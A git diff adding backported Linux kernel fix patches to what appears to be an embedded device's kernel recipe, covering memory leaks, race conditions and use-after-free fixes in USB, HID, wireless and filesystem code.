a/recipes-kernel/linux/linux-sawfish/autopatcher/0601.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0601.diff new file mode 100644 index 0000000..b483762 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0601.diff @@ -0,0 +1,16 @@ +diff --git a/drivers/scsi/bfa/bfad_attr.c b/drivers/scsi/bfa/bfad_attr.c +index 6d21bc6..e37ab24 100644 +--- a/drivers/scsi/bfa/bfad_attr.c ++++ b/drivers/scsi/bfa/bfad_attr.c +@@ -282,8 +282,10 @@ + rc = bfa_port_get_stats(BFA_FCPORT(&bfad->bfa), + fcstats, bfad_hcb_comp, &fcomp); + spin_unlock_irqrestore(&bfad->bfad_lock, flags); +- if (rc != BFA_STATUS_OK) ++ if (rc != BFA_STATUS_OK) { ++ kfree(fcstats); + return NULL; ++ } + + wait_for_completion(&fcomp.comp); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0602.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0602.diff new file mode 100644 index 0000000..31ad51a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0602.diff @@ -0,0 +1,28 @@ +diff --git a/drivers/net/wireless/ath/ath9k/htc_hst.c b/drivers/net/wireless/ath/ath9k/htc_hst.c +index 1410453..5452bee1 100644 +--- a/drivers/net/wireless/ath/ath9k/htc_hst.c ++++ b/drivers/net/wireless/ath/ath9k/htc_hst.c +@@ -174,6 +174,7 @@ + time_left = wait_for_completion_timeout(&target->cmd_wait, HZ); + if (!time_left) { + dev_err(target->dev, "HTC credit config timeout\n"); ++ kfree_skb(skb); + return -ETIMEDOUT; + } + +@@ -209,6 +210,7 @@ + time_left = wait_for_completion_timeout(&target->cmd_wait, HZ); + if (!time_left) { + dev_err(target->dev, "HTC start timeout\n"); ++ kfree_skb(skb); + return -ETIMEDOUT; + } + +@@ -281,6 +283,7 @@ + if (!time_left) { + dev_err(target->dev, "Service connection timeout for: %d\n", + service_connreq->service_id); ++ kfree_skb(skb); + return -ETIMEDOUT; + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0603.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0603.diff new file mode 100644 index 0000000..5d819a3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0603.diff @@ -0,0 +1,12 @@ +diff --git a/drivers/net/wireless/ath/ath9k/wmi.c b/drivers/net/wireless/ath/ath9k/wmi.c +index bdce436..44f2a1d 100644 +--- a/drivers/net/wireless/ath/ath9k/wmi.c ++++ b/drivers/net/wireless/ath/ath9k/wmi.c +@@ -336,6 +336,7 @@ + ath_dbg(common, WMI, "Timeout waiting for WMI command: %s\n", + wmi_cmd_to_name(cmd_id)); + mutex_unlock(&wmi->op_mutex); ++ kfree_skb(skb); + return -ETIMEDOUT; + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0604.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0604.diff new file mode 100644 index 0000000..f179ac6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0604.diff @@ -0,0 +1,101 @@ +diff --git a/include/linux/atalk.h b/include/linux/atalk.h +index af43ed4..4be0e14 100644 +--- a/include/linux/atalk.h ++++ b/include/linux/atalk.h +@@ -107,7 +107,7 @@ + #define AARP_RESOLVE_TIME (10 * HZ) + + extern struct datalink_proto *ddp_dl, *aarp_dl; +-extern void aarp_proto_init(void); ++extern int aarp_proto_init(void); + + /* Inter module exports */ + +diff --git a/net/appletalk/aarp.c b/net/appletalk/aarp.c +index d1c55d8..6d6fcc4 100644 +--- a/net/appletalk/aarp.c ++++ b/net/appletalk/aarp.c +@@ -879,15 +879,24 @@ + + static unsigned char aarp_snap_id[] = { 0x00, 0x00, 0x00, 0x80, 0xF3 }; + +-void __init aarp_proto_init(void) ++int __init aarp_proto_init(void) + { ++ int rc; ++ + aarp_dl = register_snap_client(aarp_snap_id, aarp_rcv); +- if (!aarp_dl) ++ if (!aarp_dl) { + printk(KERN_CRIT "Unable to register AARP with SNAP.\n"); ++ return -ENOMEM; ++ } + setup_timer(&aarp_timer, aarp_expire_timeout, 0); + aarp_timer.expires = jiffies + sysctl_aarp_expiry_time; + add_timer(&aarp_timer); +- register_netdevice_notifier(&aarp_notifier); ++ rc = register_netdevice_notifier(&aarp_notifier); ++ if (rc) { ++ del_timer_sync(&aarp_timer); ++ unregister_snap_client(aarp_dl); ++ } ++ return rc; + } + + /* Remove the AARP entries associated with a device. */ +diff --git a/net/appletalk/ddp.c b/net/appletalk/ddp.c +index 9daf8a6..3d65e46 100644 +--- a/net/appletalk/ddp.c ++++ b/net/appletalk/ddp.c +@@ -1912,9 +1912,6 @@ + EXPORT_SYMBOL(atrtr_get_dev); + EXPORT_SYMBOL(atalk_find_dev_addr); + +-static const char atalk_err_snap[] __initconst = +- KERN_CRIT "Unable to register DDP with SNAP.\n"; +- + /* Called by proto.c on kernel start up */ + static int __init atalk_init(void) + { +@@ -1929,17 +1926,22 @@ + goto out_proto; + + ddp_dl = register_snap_client(ddp_snap_id, atalk_rcv); +- if (!ddp_dl) +- printk(atalk_err_snap); ++ if (!ddp_dl) { ++ pr_crit("Unable to register DDP with SNAP.\n"); ++ goto out_sock; ++ } + + dev_add_pack(<alk_packet_type); + dev_add_pack(&ppptalk_packet_type); + + rc = register_netdevice_notifier(&ddp_notifier); + if (rc) +- goto out_sock; ++ goto out_snap; + +- aarp_proto_init(); ++ rc = aarp_proto_init(); ++ if (rc) ++ goto out_dev; ++ + rc = atalk_proc_init(); + if (rc) + goto out_aarp; +@@ -1953,11 +1955,13 @@ + atalk_proc_exit(); + out_aarp: + aarp_cleanup_module(); ++out_dev: + unregister_netdevice_notifier(&ddp_notifier); +-out_sock: ++out_snap: + dev_remove_pack(&ppptalk_packet_type); + dev_remove_pack(<alk_packet_type); + unregister_snap_client(ddp_dl); ++out_sock: + sock_unregister(PF_APPLETALK); + out_proto: + proto_unregister(&ddp_proto); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0605.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0605.diff new file mode 100644 index 0000000..d683417 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0605.diff @@ -0,0 +1,19 @@ +diff --git a/fs/btrfs/tests/btrfs-tests.c b/fs/btrfs/tests/btrfs-tests.c +index 9626252..49dce70 100644 +--- a/fs/btrfs/tests/btrfs-tests.c ++++ b/fs/btrfs/tests/btrfs-tests.c +@@ -48,7 +48,13 @@ + + struct inode *btrfs_new_test_inode(void) + { +- return new_inode(test_mnt->mnt_sb); ++ struct inode *inode; ++ ++ inode = new_inode(test_mnt->mnt_sb); ++ if (inode) ++ inode_init_owner(inode, NULL, S_IFREG); ++ ++ return inode; + } + + int btrfs_init_test_fs(void) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0606.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0606.diff new file mode 100644 index 0000000..6eb6930 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0606.diff @@ -0,0 +1,23 @@ +diff --git a/arch/x86/kvm/cpuid.c b/arch/x86/kvm/cpuid.c +index b301b54..42a0e53 100644 +--- a/arch/x86/kvm/cpuid.c ++++ b/arch/x86/kvm/cpuid.c +@@ -332,7 +332,7 @@ + + r = -E2BIG; + +- if (*nent >= maxnent) ++ if (WARN_ON(*nent >= maxnent)) + goto out; + + do_cpuid_1_ent(entry, function, index); +@@ -575,6 +575,9 @@ + static int do_cpuid_ent(struct kvm_cpuid_entry2 *entry, u32 func, + u32 idx, int *nent, int maxnent, unsigned int type) + { ++ if (*nent >= maxnent) ++ return -E2BIG; ++ + if (type == KVM_GET_EMULATED_CPUID) + return __do_cpuid_ent_emulated(entry, func, idx, nent, maxnent); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0607.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0607.diff new file mode 100644 index 0000000..b19dc39 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0607.diff @@ -0,0 +1,30 @@ +diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c +index 9ed5d80..b0ecf95 100644 +--- a/fs/ext4/namei.c ++++ b/fs/ext4/namei.c +@@ -3023,19 +3023,18 @@ + if (IS_DIRSYNC(dir)) + ext4_handle_sync(handle); + +- if (!inode->i_nlink) { +- ext4_warning(inode->i_sb, +- "Deleting nonexistent file (%lu), %d", +- inode->i_ino, inode->i_nlink); +- set_nlink(inode, 1); +- } + retval = ext4_delete_entry(handle, dir, de, bh); + if (retval) + goto end_unlink; + dir->i_ctime = dir->i_mtime = ext4_current_time(dir); + ext4_update_dx_flag(dir); + ext4_mark_inode_dirty(handle, dir); +- drop_nlink(inode); ++ if (!inode->i_nlink) ++ ext4_warning(inode->i_sb, ++ "Deleting nonexistent file (%lu), %d", ++ inode->i_ino, inode->i_nlink); ++ else ++ drop_nlink(inode); + if (!inode->i_nlink) + ext4_orphan_add(handle, inode); + inode->i_ctime = ext4_current_time(inode); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0608.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0608.diff new file mode 100644 index 0000000..9abe6b0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0608.diff @@ -0,0 +1,22 @@ +diff --git a/fs/btrfs/free-space-cache.c b/fs/btrfs/free-space-cache.c +index 960f04e..404edd2 100644 +--- a/fs/btrfs/free-space-cache.c ++++ b/fs/btrfs/free-space-cache.c +@@ -1960,7 +1960,7 @@ + static bool try_merge_free_space(struct btrfs_free_space_ctl *ctl, + struct btrfs_free_space *info, bool update_stat) + { +- struct btrfs_free_space *left_info; ++ struct btrfs_free_space *left_info = NULL; + struct btrfs_free_space *right_info; + bool merged = false; + u64 offset = info->offset; +@@ -1975,7 +1975,7 @@ + if (right_info && rb_prev(&right_info->offset_index)) + left_info = rb_entry(rb_prev(&right_info->offset_index), + struct btrfs_free_space, offset_index); +- else ++ else if (!right_info) + left_info = tree_search_offset(ctl, offset - 1, 0, 0); + + if (right_info && !right_info->bitmap) { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0609.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0609.diff new file mode 100644 index 0000000..a0e01cd --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0609.diff @@ -0,0 +1,20 @@ +diff --git a/drivers/input/ff-memless.c b/drivers/input/ff-memless.c +index 74c0d8c6..eaeadc7 100644 +--- a/drivers/input/ff-memless.c ++++ b/drivers/input/ff-memless.c +@@ -489,6 +489,15 @@ + { + struct ml_device *ml = ff->private; + ++ /* ++ * Even though we stop all playing effects when tearing down ++ * an input device (via input_device_flush() that calls into ++ * input_ff_flush() that stops and erases all effects), we ++ * do not actually stop the timer, and therefore we should ++ * do it here. ++ */ ++ del_timer_sync(&ml->timer); ++ + kfree(ml->private); + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0610.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0610.diff new file mode 100644 index 0000000..83adac7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0610.diff @@ -0,0 +1,15 @@ +diff --git a/drivers/hid/usbhid/hiddev.c b/drivers/hid/usbhid/hiddev.c +index 037a55b..4a6b0ae 100644 +--- a/drivers/hid/usbhid/hiddev.c ++++ b/drivers/hid/usbhid/hiddev.c +@@ -329,6 +329,10 @@ + return 0; + bail_unlock: + mutex_unlock(&hiddev->existancelock); ++ ++ spin_lock_irq(&list->hiddev->list_lock); ++ list_del(&list->node); ++ spin_unlock_irq(&list->hiddev->list_lock); + bail: + file->private_data = NULL; + vfree(list); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0611.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0611.diff new file mode 100644 index 0000000..62dc211 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0611.diff @@ -0,0 +1,19 @@ +diff --git a/drivers/hid/usbhid/hiddev.c b/drivers/hid/usbhid/hiddev.c +index 700145b..037a55b 100644 +--- a/drivers/hid/usbhid/hiddev.c ++++ b/drivers/hid/usbhid/hiddev.c +@@ -307,6 +307,14 @@ + spin_unlock_irq(&list->hiddev->list_lock); + + mutex_lock(&hiddev->existancelock); ++ /* ++ * recheck exist with existance lock held to ++ * avoid opening a disconnected device ++ */ ++ if (!list->hiddev->exist) { ++ res = -ENODEV; ++ goto bail_unlock; ++ } + if (!list->hiddev->open++) + if (list->hiddev->exist) { + struct hid_device *hid = hiddev->hid; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0612-c468a8aa790e-usb iowarrior fix deadlock on disconnect.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0612-c468a8aa790e-usb iowarrior fix deadlock on disconnect.patch new file mode 100644 index 0000000..1f5cf5b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0612-c468a8aa790e-usb iowarrior fix deadlock on disconnect.patch @@ -0,0 +1,50 @@ +From c468a8aa790e0dfe0a7f8a39db282d39c2c00b46 Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Thu, 8 Aug 2019 11:27:28 +0200 +Subject: usb: iowarrior: fix deadlock on disconnect + +We have to drop the mutex before we close() upon disconnect() +as close() needs the lock. This is safe to do by dropping the +mutex as intfdata is already set to NULL, so open() will fail. + +Fixes: 03f36e885fc26 ("USB: open disconnect race in iowarrior") +Reported-by: syzbot+a64a382964bf6c71a9c0@syzkaller.appspotmail.com +Cc: stable +Signed-off-by: Oliver Neukum +Link: https://lore.kernel.org/r/20190808092728.23417-1-oneukum@suse.com +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/misc/iowarrior.c | 7 ++++--- + 1 file changed, 4 insertions(+), 3 deletions(-) + +diff --git a/drivers/usb/misc/iowarrior.c b/drivers/usb/misc/iowarrior.c +index ba05dd80a020f..f5bed9f29e562 100644 +--- a/drivers/usb/misc/iowarrior.c ++++ b/drivers/usb/misc/iowarrior.c +@@ -866,19 +866,20 @@ static void iowarrior_disconnect(struct usb_interface *interface) + dev = usb_get_intfdata(interface); + mutex_lock(&iowarrior_open_disc_lock); + usb_set_intfdata(interface, NULL); ++ /* prevent device read, write and ioctl */ ++ dev->present = 0; + + minor = dev->minor; ++ mutex_unlock(&iowarrior_open_disc_lock); ++ /* give back our minor - this will call close() locks need to be dropped at this point*/ + +- /* give back our minor */ + usb_deregister_dev(interface, &iowarrior_class); + + mutex_lock(&dev->mutex); + + /* prevent device read, write and ioctl */ +- dev->present = 0; + + mutex_unlock(&dev->mutex); +- mutex_unlock(&iowarrior_open_disc_lock); + + if (dev->opened) { + /* There is a process that holds a filedescriptor to the device , +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0613-edc4746f253d-USB iowarrior fix useafterfree on disconnect.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0613-edc4746f253d-USB iowarrior fix useafterfree on disconnect.patch new file mode 100644 index 0000000..a5b576d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0613-edc4746f253d-USB iowarrior fix useafterfree on disconnect.patch @@ -0,0 +1,63 @@ +From edc4746f253d907d048de680a621e121517f484b Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Wed, 9 Oct 2019 12:48:41 +0200 +Subject: USB: iowarrior: fix use-after-free on disconnect + +A recent fix addressing a deadlock on disconnect introduced a new bug +by moving the present flag out of the critical section protected by the +driver-data mutex. This could lead to a racing release() freeing the +driver data before disconnect() is done with it. + +Due to insufficient locking a related use-after-free could be triggered +also before the above mentioned commit. Specifically, the driver needs +to hold the driver-data mutex also while checking the opened flag at +disconnect(). + +Fixes: c468a8aa790e ("usb: iowarrior: fix deadlock on disconnect") +Fixes: 946b960d13c1 ("USB: add driver for iowarrior devices.") +Cc: stable # 2.6.21 +Reported-by: syzbot+0761012cebf7bdb38137@syzkaller.appspotmail.com +Signed-off-by: Johan Hovold +Link: https://lore.kernel.org/r/20191009104846.5925-2-johan@kernel.org +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/misc/iowarrior.c | 7 +++---- + 1 file changed, 3 insertions(+), 4 deletions(-) + +diff --git a/drivers/usb/misc/iowarrior.c b/drivers/usb/misc/iowarrior.c +index f5bed9f29e562..4fe1d3267b3cf 100644 +--- a/drivers/usb/misc/iowarrior.c ++++ b/drivers/usb/misc/iowarrior.c +@@ -866,8 +866,6 @@ static void iowarrior_disconnect(struct usb_interface *interface) + dev = usb_get_intfdata(interface); + mutex_lock(&iowarrior_open_disc_lock); + usb_set_intfdata(interface, NULL); +- /* prevent device read, write and ioctl */ +- dev->present = 0; + + minor = dev->minor; + mutex_unlock(&iowarrior_open_disc_lock); +@@ -878,8 +876,7 @@ static void iowarrior_disconnect(struct usb_interface *interface) + mutex_lock(&dev->mutex); + + /* prevent device read, write and ioctl */ +- +- mutex_unlock(&dev->mutex); ++ dev->present = 0; + + if (dev->opened) { + /* There is a process that holds a filedescriptor to the device , +@@ -889,8 +886,10 @@ static void iowarrior_disconnect(struct usb_interface *interface) + usb_kill_urb(dev->int_in_urb); + wake_up_interruptible(&dev->read_wait); + wake_up_interruptible(&dev->write_wait); ++ mutex_unlock(&dev->mutex); + } else { + /* no process is using the device, cleanup now */ ++ mutex_unlock(&dev->mutex); + iowarrior_delete(dev); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0614.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0614.diff new file mode 100644 index 0000000..c6be542 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0614.diff @@ -0,0 +1,43 @@ +diff --git a/drivers/usb/class/cdc-acm.c b/drivers/usb/class/cdc-acm.c +index 853879a..30864a8 100644 +--- a/drivers/usb/class/cdc-acm.c ++++ b/drivers/usb/class/cdc-acm.c +@@ -1325,13 +1325,6 @@ + goto alloc_fail; + } + +- minor = acm_alloc_minor(acm); +- if (minor == ACM_TTY_MINORS) { +- dev_err(&intf->dev, "no more free acm devices\n"); +- kfree(acm); +- return -ENODEV; +- } +- + ctrlsize = usb_endpoint_maxp(epctrl); + readsize = usb_endpoint_maxp(epread) * + (quirks == SINGLE_RX_URB ? 1 : 2); +@@ -1339,6 +1332,16 @@ + acm->writesize = usb_endpoint_maxp(epwrite) * 20; + acm->control = control_interface; + acm->data = data_interface; ++ ++ usb_get_intf(acm->control); /* undone in destruct() */ ++ ++ minor = acm_alloc_minor(acm); ++ if (minor == ACM_TTY_MINORS) { ++ dev_err(&intf->dev, "no more free acm devices\n"); ++ kfree(acm); ++ return -ENODEV; ++ } ++ + acm->minor = minor; + acm->dev = usb_dev; + acm->ctrl_caps = ac_management_function; +@@ -1493,7 +1496,6 @@ + usb_driver_claim_interface(&acm_driver, data_interface, acm); + usb_set_intfdata(data_interface, acm); + +- usb_get_intf(control_interface); + tty_dev = tty_port_register_device(&acm->port, acm_tty_driver, minor, + &control_interface->dev); + if (IS_ERR(tty_dev)) { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0615.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0615.diff new file mode 100644 index 0000000..faf137e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0615.diff @@ -0,0 +1,20 @@ +diff --git a/drivers/usb/misc/yurex.c b/drivers/usb/misc/yurex.c +index b92046a..618c0ef 100644 +--- a/drivers/usb/misc/yurex.c ++++ b/drivers/usb/misc/yurex.c +@@ -96,7 +96,6 @@ + + dev_dbg(&dev->interface->dev, "%s\n", __func__); + +- usb_put_dev(dev->udev); + if (dev->cntl_urb) { + usb_kill_urb(dev->cntl_urb); + kfree(dev->cntl_req); +@@ -112,6 +111,7 @@ + dev->int_buffer, dev->urb->transfer_dma); + usb_free_urb(dev->urb); + } ++ usb_put_dev(dev->udev); + kfree(dev); + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0616.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0616.diff new file mode 100644 index 0000000..415ed3a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0616.diff @@ -0,0 +1,305 @@ +diff --git a/drivers/hid/hid-axff.c b/drivers/hid/hid-axff.c +index a594e47..843aed4 100644 +--- a/drivers/hid/hid-axff.c ++++ b/drivers/hid/hid-axff.c +@@ -75,13 +75,20 @@ + { + struct axff_device *axff; + struct hid_report *report; +- struct hid_input *hidinput = list_first_entry(&hid->inputs, struct hid_input, list); ++ struct hid_input *hidinput; + struct list_head *report_list =&hid->report_enum[HID_OUTPUT_REPORT].report_list; +- struct input_dev *dev = hidinput->input; ++ struct input_dev *dev; + int field_count = 0; + int i, j; + int error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_first_entry(&hid->inputs, struct hid_input, list); ++ dev = hidinput->input; ++ + if (list_empty(report_list)) { + hid_err(hid, "no output reports found\n"); + return -ENODEV; +diff --git a/drivers/hid/hid-dr.c b/drivers/hid/hid-dr.c +index ce06444..e4e3c7b 100644 +--- a/drivers/hid/hid-dr.c ++++ b/drivers/hid/hid-dr.c +@@ -87,13 +87,19 @@ + { + struct drff_device *drff; + struct hid_report *report; +- struct hid_input *hidinput = list_first_entry(&hid->inputs, +- struct hid_input, list); ++ struct hid_input *hidinput; + struct list_head *report_list = + &hid->report_enum[HID_OUTPUT_REPORT].report_list; +- struct input_dev *dev = hidinput->input; ++ struct input_dev *dev; + int error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_first_entry(&hid->inputs, struct hid_input, list); ++ dev = hidinput->input; ++ + if (list_empty(report_list)) { + hid_err(hid, "no output reports found\n"); + return -ENODEV; +diff --git a/drivers/hid/hid-emsff.c b/drivers/hid/hid-emsff.c +index d82d75b..80f9a02 100644 +--- a/drivers/hid/hid-emsff.c ++++ b/drivers/hid/hid-emsff.c +@@ -59,13 +59,19 @@ + { + struct emsff_device *emsff; + struct hid_report *report; +- struct hid_input *hidinput = list_first_entry(&hid->inputs, +- struct hid_input, list); ++ struct hid_input *hidinput; + struct list_head *report_list = + &hid->report_enum[HID_OUTPUT_REPORT].report_list; +- struct input_dev *dev = hidinput->input; ++ struct input_dev *dev; + int error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_first_entry(&hid->inputs, struct hid_input, list); ++ dev = hidinput->input; ++ + if (list_empty(report_list)) { + hid_err(hid, "no output reports found\n"); + return -ENODEV; +diff --git a/drivers/hid/hid-gaff.c b/drivers/hid/hid-gaff.c +index 2d8cead..5a02c50 100644 +--- a/drivers/hid/hid-gaff.c ++++ b/drivers/hid/hid-gaff.c +@@ -77,14 +77,20 @@ + { + struct gaff_device *gaff; + struct hid_report *report; +- struct hid_input *hidinput = list_entry(hid->inputs.next, +- struct hid_input, list); ++ struct hid_input *hidinput; + struct list_head *report_list = + &hid->report_enum[HID_OUTPUT_REPORT].report_list; + struct list_head *report_ptr = report_list; +- struct input_dev *dev = hidinput->input; ++ struct input_dev *dev; + int error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + if (list_empty(report_list)) { + hid_err(hid, "no output reports found\n"); + return -ENODEV; +diff --git a/drivers/hid/hid-holtekff.c b/drivers/hid/hid-holtekff.c +index 9325545..3e84551 100644 +--- a/drivers/hid/hid-holtekff.c ++++ b/drivers/hid/hid-holtekff.c +@@ -140,13 +140,19 @@ + { + struct holtekff_device *holtekff; + struct hid_report *report; +- struct hid_input *hidinput = list_entry(hid->inputs.next, +- struct hid_input, list); ++ struct hid_input *hidinput; + struct list_head *report_list = + &hid->report_enum[HID_OUTPUT_REPORT].report_list; +- struct input_dev *dev = hidinput->input; ++ struct input_dev *dev; + int error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + if (list_empty(report_list)) { + hid_err(hid, "no output report found\n"); + return -ENODEV; +diff --git a/drivers/hid/hid-lg2ff.c b/drivers/hid/hid-lg2ff.c +index 0e3fb1a..6909d9c 100644 +--- a/drivers/hid/hid-lg2ff.c ++++ b/drivers/hid/hid-lg2ff.c +@@ -62,11 +62,17 @@ + { + struct lg2ff_device *lg2ff; + struct hid_report *report; +- struct hid_input *hidinput = list_entry(hid->inputs.next, +- struct hid_input, list); +- struct input_dev *dev = hidinput->input; ++ struct hid_input *hidinput; ++ struct input_dev *dev; + int error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + /* Check that the report looks ok */ + report = hid_validate_values(hid, HID_OUTPUT_REPORT, 0, 0, 7); + if (!report) +diff --git a/drivers/hid/hid-lg3ff.c b/drivers/hid/hid-lg3ff.c +index 8c2da18..acf739f 100644 +--- a/drivers/hid/hid-lg3ff.c ++++ b/drivers/hid/hid-lg3ff.c +@@ -129,12 +129,19 @@ + + int lg3ff_init(struct hid_device *hid) + { +- struct hid_input *hidinput = list_entry(hid->inputs.next, struct hid_input, list); +- struct input_dev *dev = hidinput->input; ++ struct hid_input *hidinput; ++ struct input_dev *dev; + const signed short *ff_bits = ff3_joystick_ac; + int error; + int i; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + /* Check that the report looks ok */ + if (!hid_validate_values(hid, HID_OUTPUT_REPORT, 0, 0, 35)) + return -ENODEV; +diff --git a/drivers/hid/hid-lg4ff.c b/drivers/hid/hid-lg4ff.c +index 7835717..8bfb1c4 100644 +--- a/drivers/hid/hid-lg4ff.c ++++ b/drivers/hid/hid-lg4ff.c +@@ -566,6 +566,13 @@ + int error, i, j; + __u16 bcdDevice, rev_maj, rev_min; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + /* Check that the report looks ok */ + if (!hid_validate_values(hid, HID_OUTPUT_REPORT, 0, 0, 7)) + return -1; +diff --git a/drivers/hid/hid-lgff.c b/drivers/hid/hid-lgff.c +index e1394af..1871cdc 100644 +--- a/drivers/hid/hid-lgff.c ++++ b/drivers/hid/hid-lgff.c +@@ -127,12 +127,19 @@ + + int lgff_init(struct hid_device* hid) + { +- struct hid_input *hidinput = list_entry(hid->inputs.next, struct hid_input, list); +- struct input_dev *dev = hidinput->input; ++ struct hid_input *hidinput; ++ struct input_dev *dev; + const signed short *ff_bits = ff_joystick; + int error; + int i; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + /* Check that the report looks ok */ + if (!hid_validate_values(hid, HID_OUTPUT_REPORT, 0, 0, 7)) + return -ENODEV; +diff --git a/drivers/hid/hid-sony.c b/drivers/hid/hid-sony.c +index e9af6dd..b42aa40 100644 +--- a/drivers/hid/hid-sony.c ++++ b/drivers/hid/hid-sony.c +@@ -1592,9 +1592,15 @@ + + static int sony_init_ff(struct sony_sc *sc) + { +- struct hid_input *hidinput = list_entry(sc->hdev->inputs.next, +- struct hid_input, list); +- struct input_dev *input_dev = hidinput->input; ++ struct hid_input *hidinput; ++ struct input_dev *input_dev; ++ ++ if (list_empty(&sc->hdev->inputs)) { ++ hid_err(sc->hdev, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(sc->hdev->inputs.next, struct hid_input, list); ++ input_dev = hidinput->input; + + input_set_capability(input_dev, EV_FF, FF_RUMBLE); + return input_ff_create_memless(input_dev, NULL, sony_play_effect); +diff --git a/drivers/hid/hid-tmff.c b/drivers/hid/hid-tmff.c +index b833760..9e908d9 100644 +--- a/drivers/hid/hid-tmff.c ++++ b/drivers/hid/hid-tmff.c +@@ -126,12 +126,18 @@ + struct tmff_device *tmff; + struct hid_report *report; + struct list_head *report_list; +- struct hid_input *hidinput = list_entry(hid->inputs.next, +- struct hid_input, list); +- struct input_dev *input_dev = hidinput->input; ++ struct hid_input *hidinput; ++ struct input_dev *input_dev; + int error; + int i; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ input_dev = hidinput->input; ++ + tmff = kzalloc(sizeof(struct tmff_device), GFP_KERNEL); + if (!tmff) + return -ENOMEM; +diff --git a/drivers/hid/hid-zpff.c b/drivers/hid/hid-zpff.c +index a29756c..4e7e01b 100644 +--- a/drivers/hid/hid-zpff.c ++++ b/drivers/hid/hid-zpff.c +@@ -66,11 +66,17 @@ + { + struct zpff_device *zpff; + struct hid_report *report; +- struct hid_input *hidinput = list_entry(hid->inputs.next, +- struct hid_input, list); +- struct input_dev *dev = hidinput->input; ++ struct hid_input *hidinput; ++ struct input_dev *dev; + int i, error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ 